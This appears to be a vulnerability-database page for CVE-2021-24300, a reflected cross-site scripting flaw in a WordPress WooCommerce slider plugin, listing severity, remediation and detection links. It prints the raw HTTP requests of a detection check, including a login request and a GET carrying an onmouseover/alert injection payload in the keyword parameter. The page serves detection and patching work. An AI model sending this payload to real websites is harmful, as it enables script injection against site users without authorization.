🔙 목록으로 돌아가기

CVE-2021-24300: WordPress WooCommerce <1.13.22 - Cross-Site Scripting

TitleWordPress WooCommerce <1.13.22 - Cross-Site Scripting
Authorcckuailong
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpdate WordPress WooCommerce plugin to version 1.13.22 or later to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.03405
CVE IDCVE-2021-24300
CWE IDCWE-79
Tags cve2021 cve xss wp wordpress wp-plugin authenticated wpscan pickplugins vuln

🔍 Vulnerability Description

WordPress WooCommerce before 1.13.22 contains a reflected cross-site scripting vulnerability via the slider import search feature because it does not properly sanitize the keyword GET parameter.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip

log=YzUTuL&pwd=Ljm3R2&wp-submit=Log+In&testcookie=1
GET /wp-admin/edit.php?post_type=wcps&page=import_layouts&keyword="onmouseover%3Dalert%28document.domain%29%3B%2F%2F HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.20
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24300.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24300.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A